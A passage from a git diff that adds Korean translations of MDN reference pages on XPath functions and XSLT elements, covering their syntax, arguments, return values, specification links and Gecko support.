diff --git a/files/ko/web/xpath/functions/system-property/index.html b/files/ko/web/xpath/functions/system-property/index.html
new file mode 100644
index 0000000000..fb020c11d7
--- /dev/null
+++ b/files/ko/web/xpath/functions/system-property/index.html
@@ -0,0 +1,34 @@
+---
+title: system-property
+slug: Web/XPath/Functions/system-property
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/system-property
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>system-property</code> 함수는 인수로 준 시스템 속성을 나타내는 개체를 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">system-property(<i>name</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>name</code></i>
+ (선택사항)</dt>
+ <dd>
+ 시스템 속성의 이름. 인수는 QName인 문자열로 평가해야 합니다. QName은 식의 범위에서 이름공간 선언을 써 이름으로 확장합니다. system-property 함수는 이름으로 식별하는 시스템 속성값을 나타내는 개체를 반환합니다. 그러한 시스템 속성이 없으면, 빈 문자열을 반환합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>인수 system-property를 나타내는 개체</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>xsl:version, 처리기가 구현한 XSLT 버전을 제공하는 숫자. 이 문서에서 지정한 XSLT 버전을 구현하는 XSLT 처리기에는, 이 숫자가 1.0입니다.</li>
+ <li>xsl:vendor, XSLT 처리기의 공급자(vendor)를 식별하는 문자열</li>
+ <li>xsl:vendor-url, XSLT 처리기의 공급자를 식별하는 URL을 포함하는 문자열. 보통 이는 공급자 웹 사이트의 홈 페이지입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-system-property">XSLT 1.0 12.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/translate/index.html b/files/ko/web/xpath/functions/translate/index.html
new file mode 100644
index 0000000000..a2f3d67232
--- /dev/null
+++ b/files/ko/web/xpath/functions/translate/index.html
@@ -0,0 +1,92 @@
+---
+title: translate
+slug: Web/XPath/Functions/translate
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/translate
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>translate</code> 함수는 문자열과 번역할 문자 집합을 평가하고 번역된 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">translate(<i>string</i> ,<i>abc</i> ,<i>XYZ</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>string</code></i>
+ </dt>
+ <dd>
+ 평가할 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>abc</code></i>
+ </dt>
+ <dd>
+ 바꿀 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>XYZ</code></i>
+ </dt>
+ <dd>
+ 교체에 쓰는 문자열.
+ <i>
+ <code>XYZ</code></i>
+ 에서 첫 문자는
+ <i>
+ <code>string</code></i>
+ 에서 나타나는
+ <i>
+ <code>abc</code></i>
+ 의 첫 문자가 나타날 때마다 교체합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>번역된 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>XPath는 translate 함수가 모든 언어에서 대/소문자 변환에 sufficient solution이 아니다라고 기록합니다. XPath의 future 버전은 대/소문자 변환을 위해 추가 함수를 제공할 지도 모릅니다.</p>
+<p>그러나, 이 함수는 현재 문자열을 대/소문자로 변환할 수 있는 함수에 가장 가깝습니다.</p>
+<p>예</p>
+<pre class="eval">&lt;xsl:value-of select="translate('The quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">THE QUICK BROWN FOX.
+</pre>
+<ul>
+ <li>만약
+ <i>
+ <code>abc</code></i>
+ 가
+ <i>
+ <code>XYZ</code></i>
+ 보다 길면,
+ <i>
+ <code>XYZ</code></i>
+ 에서 대응하는 문자가 없는
+ <i>
+ <code>abc</code></i>
+ 의 문자는 출현 때마다 제거됩니다.</li>
+</ul>
+<p>예</p>
+<pre class="eval">&lt;xsl:value-of select="translate('The quick brown fox.', 'brown', 'red'" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">The quick red fdx.
+</pre>
+<ul>
+ <li>만약
+ <i>
+ <code>XYZ</code></i>
+ 가
+ <i>
+ <code>abc</code></i>
+ 보다 더 많은 문자를 포함하면, 여분 문자는 무시됩니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-translate">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/true/index.html b/files/ko/web/xpath/functions/true/index.html
new file mode 100644
index 0000000000..3a54249749
--- /dev/null
+++ b/files/ko/web/xpath/functions/true/index.html
@@ -0,0 +1,19 @@
+---
+title: 'true'
+slug: Web/XPath/Functions/true
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/true
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>true</code> 함수는 불린값 true를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">true()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>불린 <code>true</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-true">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/unparsed-entity-url/index.html b/files/ko/web/xpath/functions/unparsed-entity-url/index.html
new file mode 100644
index 0000000000..b5c29f3a60
--- /dev/null
+++ b/files/ko/web/xpath/functions/unparsed-entity-url/index.html
@@ -0,0 +1,21 @@
+---
+title: unparsed-entity-url
+slug: Web/XPath/Functions/unparsed-entity-url
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/unparsed-entity-url
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>unparsed-entity-url()</code> 함수는 구문해석되지 않은 엔티티의 URI를 반환합니다. 이는 소스 문서의 DTD에서 참조하는 비 XML 데이터입니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">string unparsed-entity-url(string)
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<p>구문해석되지 않은 엔티티의 이름. 인수가 문자열이 아니면, string() 함수의 규칙을 써서 변환합니다. 이름은 XML 이름입니다.</p>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>엔티티가 있으면, DTD에서 찾은 구문해석되지 않은 엔티티의 URI. 그렇지 않으면 빈 문자열.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-unparsed-entity-uri">XSLT 1.0 12.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원 안 함.</p>
diff --git a/files/ko/web/xpath/index.html b/files/ko/web/xpath/index.html
new file mode 100644
index 0000000000..b06498cf53
--- /dev/null
+++ b/files/ko/web/xpath/index.html
@@ -0,0 +1,13 @@
+---
+title: XPath
+slug: Web/XPath
+tags:
+ - XPath
+translation_of: Web/XPath
+---
+<p>XPath는 XML Path Language를 나타내고 <a href="/ko/XML" title="ko/XML">XML</a> 문서의 다른 부분을 주소 지정하는(가리키는) 유연한 방법을 제공하는 비XML 문법을 씁니다. 이와 동시에, 또한 패턴과 일치하는지 알아보기 위해 문서 안에 주소 지정된 노드를 검사하는데도 쓰일 수 있습니다.</p>
+<p>XPath는 주로 <a href="/ko/XSLT" title="ko/XSLT">XSLT</a>에서 쓰입니다. 하지만 또한 <a href="/ko/DOM/document.getElementById" title="ko/DOM/document.getElementById">getElementById</a> 메소드, <a href="/ko/DOM/element.childNodes" title="ko/DOM/element.childNodes">childNodes</a> 특성들에 의존하는 대신 HTML과 <a href="/ko/XUL" title="ko/XUL">XUL</a> 같은 다른 XML에 기반을 둔 언어 문서를 <a href="/ko/DOM" title="ko/DOM">DOM</a>을 통해 항해하는 더 나은 강력한 방법으로도 쓰입니다. <span>다음은 모호합니다: 이는 확장기능 안에서 특히 쓸모 있습니다, 특히 <a href="/ko/XUL_Overlays">overlays</a>를 고려하면.</span></p>
+<p>XPath는 XML 문서의 계층 구조를 항해하기 위해 경로 표기법(URL의 경우와 같이)을 씁니다. <a href="/ko/URI" title="ko/URI">URI</a>와 XML 속성값에 쓰일 수 있도록 비XML 문법을 씁니다.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id=".EB.AC.B8.EC.84.9C"><a href="/Special:Tags?tag=XPath&amp;language=ko" title="Special:Tags?tag=XPath&amp;language=ko">문서</a></h4> <dl> <dt><a href="/ko/Introduction_to_using_XPath_in_JavaScript" title="ko/Introduction_to_using_XPath_in_JavaScript">Introduction to using XPath in JavaScript</a></dt> <dd><small>XPath의 비XSLT 사용을 기술합니다.</small></dd> </dl> <dl> <dt><a href="/ko/XPath/Axes" title="ko/XPath/Axes">XPath:Axes</a></dt> <dd><small>XPath 명세에 정의된 축의 정의와 목록. 축은 노드 사이의 관계를 기술하는데 씁니다.</small></dd> </dl> <dl> <dt><a href="/ko/XPath/Functions" title="ko/XPath/Functions">XPath:Functions</a></dt> <dd><small>기본 XPath 함수와 XPath에 더해진 XSLT 고유의 추가분 설명과 나열.</small></dd> </dl> <dl> <dt><a href="/ko/Transforming_XML_with_XSLT" title="ko/Transforming_XML_with_XSLT">Transforming XML with XSLT</a></dt> <dd><small>XSLT는 변환하고 싶은 XML 문서 내의 코드 조각(segment)을 주소지정하기 위해 XPath를 씁니다.</small></dd> </dl> <dl> <dt><a href="/ko/Using_XPath" title="ko/Using_XPath">Using XPath</a></dt> <dd><small>XPath를 DOM과 바인딩하는 코드와 예제</small></dd> </dl> <dl> <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">XSLT &amp; XPath Tutorial</a></dt> <dd><small>TopXML의 XSLT 입문서는 XSLT와 XPath의 기본 개념, 문법, 프로그래밍을 소개합니다.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a></dt> <dd><small>XSLT와 XPath에 관한 이 광범위한 소개는 두 기술 사이에 우선순위가 없다 보고 읽는 이를 배경, 문맥, 구조, 개념, 입문 용어로 안내합니다.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XPath&amp;language=ko" title="Special:Tags?tag=XPath&amp;language=ko">View All...</a></span></p> </td> <td> <h4 id=".EB.8F.84.EA.B5.AC">도구</h4> <dl> <dd><a class="external" href="http://b-cage.net/code/web/xpath-evaluator.html">Online XPath evaluator</a></dd> </dl> <dl> <dd><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1095">XPath Checker</a></dd> <dd><small>An interactive editor for XPath expressions (FireFox Add-On).</small></dd> </dl> <dl> <dd><a class="external" href="http://www.sketchpath.com/">SketchPath</a></dd> <dd><small>A Graphical XPath Builder/Debugger(.NET).</small></dd> </dl> <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4> <dl> <dd><a href="/ko/XSLT" title="ko/XSLT">XSLT</a>, <a href="/ko/XQuery" title="ko/XQuery">XQuery</a>, <a href="/ko/XML" title="ko/XML">XML</a>, <a href="/ko/DOM" title="ko/DOM">DOM</a></dd> </dl> <p> </p> </td> </tr> </tbody>
+</table>
+<p>{{ languages( { "cs": "cs/XPath", "es": "es/XPath", "fr": "fr/XPath", "ja": "ja/XPath", "ko": "ko/XPath", "pl": "pl/XPath" } ) }}</p>
diff --git a/files/ko/web/xslt/apply-imports/index.html b/files/ko/web/xslt/apply-imports/index.html
new file mode 100644
index 0000000000..9377bd2538
--- /dev/null
+++ b/files/ko/web/xslt/apply-imports/index.html
@@ -0,0 +1,22 @@
+---
+title: apply-imports
+slug: Web/XSLT/apply-imports
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/apply-imports
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>&lt;xsl:apply-imports&gt;</code> 요소는 꽤 불가사의하고 보통은 복잡한 스타일시트에 쓰입니다. 가져오기(import) 우선순위는 가져온 스타일시트 안 템플릿 규칙보다 주 스타일시트의 안 템플릿 규칙이 더 높기를 요구합니다. 그러나, 때로는 처리기(processor)가 주 스타일시트 안 규칙보다 (우선순위가 낮은) 가져온 스타일시트의 템플릿 규칙을 쓰도록 강제할 수 있는 게 유용합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:apply-imports/&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#apply-imports">XSLT section 5.6, Overriding Template Rules</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/apply-templates/index.html b/files/ko/web/xslt/apply-templates/index.html
new file mode 100644
index 0000000000..fdb8662849
--- /dev/null
+++ b/files/ko/web/xslt/apply-templates/index.html
@@ -0,0 +1,33 @@
+---
+title: apply-templates
+slug: Web/XSLT/apply-templates
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/apply-templates
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:apply-templates&gt;</code> 요소는 입력 트리 안 노드 집합을 선택하고 그 집합에 알맞은 템플릿을 적용하도록 처리기에게 지시합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:apply-templates select=EXPRESSION mode=NAME&gt;
+ &lt;xsl:with-param&gt; [optional]
+ &lt;xsl:sort&gt; [optional]
+&lt;/xsl:apply-templates&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ 처리할 노드를 지정하는 XPath 식을 씁니다. 별표(<code>*</code>)는 전체 노드 집합을 선택합니다. 이 속성이 없으면, 현재 노드의 모든 자식 노드를 선택합니다.</dd>
+ <dt>
+ <code>mode</code></dt>
+ <dd>
+ 같은 노드를 정의하는 다양한 처리 방법이 있다면, 그 방법들을 구별합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Applying-Template-Rules">XSLT section 5.4, Applying Template Rules</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/attribute-set/index.html b/files/ko/web/xslt/attribute-set/index.html
new file mode 100644
index 0000000000..e4b34b6b21
--- /dev/null
+++ b/files/ko/web/xslt/attribute-set/index.html
@@ -0,0 +1,33 @@
+---
+title: attribute-set
+slug: Web/XSLT/attribute-set
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/attribute-set
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:attribute-set&gt;</code> 요소는 CSS 안에 이름 붙인 스타일과 비슷한 방식으로 이름 붙인 속성 집합을 만듭니다. 그러면, 출력 문서에 전체로서 적용할 수 있습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:attribute-set name=NAME use-attribute-sets=LIST-OF-NAMES&gt;
+ &lt;xsl:attribute&gt;
+&lt;/xsl:attribute-set&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 속성 집합에 이름을 지정합니다. 이름은 유효한 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>use-attribute-sets</code></dt>
+ <dd>
+ 다른 속성 집합으로부터 속성 집합을 빌드합니다. 기여한 집합의 이름은 공백 문자로 구분해야 하고 직접 혹은 간접으로 서로 임베드하지 않아야 합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#attribute-sets">XSLT section 7.1.4, Named Attribute Sets</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/attribute/index.html b/files/ko/web/xslt/attribute/index.html
new file mode 100644
index 0000000000..1c348584f7
--- /dev/null
+++ b/files/ko/web/xslt/attribute/index.html
@@ -0,0 +1,33 @@
+---
+title: attribute
+slug: Web/XSLT/attribute
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/attribute
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:attribute&gt;</code> 요소는 스타일시트에서 접근할 수 있는 어떤 값을 써서 출력 문서에 속성을 만듭니다. 요소는 속성값을 자리 잡게 하는 출력 문서 요소 안에 정의한 것 가운데 처음이어야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:attribute name=NAME namespace=URI&gt;
+ TEMPLATE
+&lt;/xsl:attribute&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 출력 문서에 만들려는 속성에 이름을 지정합니다. 이름은 유효한 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+ <code>namespace</code></dt>
+ <dd>
+ 출력 문서에 이 속성을 위한 이름공간(namespace) URI를 정의합니다. 이 요소와 관련된 이름공간 접두사를 설정할 수 없습니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿이나 <code>&lt;xsl:attribute-set&gt;</code> 요소 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#creating-attributes">XSLT section 7.1.3, Creating Attributes with xsl:attribute</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/call-template/index.html b/files/ko/web/xslt/call-template/index.html
new file mode 100644
index 0000000000..c5aa8c1a53
--- /dev/null
+++ b/files/ko/web/xslt/call-template/index.html
@@ -0,0 +1,29 @@
+---
+title: call-template
+slug: Web/XSLT/call-template
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/call-template
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:call-template&gt;</code> 요소는 이름 붙인 템플릿을 호출합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:call-template name=NAME&gt;
+ &lt;xsl:with-param&gt; [optional]
+&lt;/xsl:call-template&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>name</code></dt>
+ <dd>
+ 호출하고 싶은 템플릿의 이름을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#named-templates">XSLT section 6, Named Templates</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
+<p>{{ languages( { "en": "en/XSLT/call-template" } ) }}</p>
diff --git a/files/ko/web/xslt/choose/index.html b/files/ko/web/xslt/choose/index.html
new file mode 100644
index 0000000000..ea615e7e15
--- /dev/null
+++ b/files/ko/web/xslt/choose/index.html
@@ -0,0 +1,24 @@
+---
+title: choose
+slug: Web/XSLT/choose
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/choose
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:choose&gt;</code> 요소는 많은 선택 가운데 하나를 정의합니다. 그리고 절차형 언어(procedural language)의 스위치 문처럼 동작합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:choose&gt;
+ &lt;xsl:when&gt;
+ &lt;xsl:otherwise&gt; [optional]
+&lt;/&lt;xsl:choose&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿과 함께 나타남. 하나 이상의 <code>&lt;xsl:when&gt;</code> 요소를 포함하고 선택에 따라 마지막에 <code>&lt;xsl:otherwise&gt;</code> 요소를 포함합니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose">XSLT section 9.2, Conditional Processing with xsl:choose</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/comment/index.html b/files/ko/web/xslt/comment/index.html
new file mode 100644
index 0000000000..56b12a9968
--- /dev/null
+++ b/files/ko/web/xslt/comment/index.html
@@ -0,0 +1,23 @@
+---
+title: comment
+slug: Web/XSLT/comment
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/comment
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:comment&gt;</code> 요소는 출력 문서에 주석을 작성합니다. 오직 텍스트만 포함해야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:comment&gt;
+ TEMPLATE
+&lt;/xsl:comment&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿과 함께 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Comments">XSLT section 7.4, Creating Comments</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/copy-of/index.html b/files/ko/web/xslt/copy-of/index.html
new file mode 100644
index 0000000000..cfd00ae443
--- /dev/null
+++ b/files/ko/web/xslt/copy-of/index.html
@@ -0,0 +1,26 @@
+---
+title: copy-of
+slug: Web/XSLT/copy-of
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/copy-of
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:copy-of&gt;</code> 요소는 select 속성이 출력 문서에 무엇을 지정하든지 (자손 노드를 포함하여) 깊게 복사(deep copy)합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:copy-of select=EXPRESSION /&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+ <code>select</code></dt>
+ <dd>
+ 복사할 대상을 지정하는 XPath 식을 씁니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#copy-of">XSLT section 11.3, Using Values of Variables and Parameters with xsl:copy-of</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/copy/index.html b/files/ko/web/xslt/copy/index.html
new file mode 100644
index 0000000000..7d6e480167
--- /dev/null
+++ b/files/ko/web/xslt/copy/index.html
@@ -0,0 +1,28 @@
+---
+title: copy
+slug: Web/XSLT/copy
+tags:
+ - XSLT_Reference
+translation_of: Web/XSLT/Element/copy
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:copy&gt;</code> 요소는 출력 문서에 현재 노드의 노드와 어떤 관련 이름공간 노드만을 얕게 복사(shallow copy) 전달합니다. 속성이나 자식은 복사하지 않습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:copy use-attribute-sets=LIST-OF-NAMES&gt;
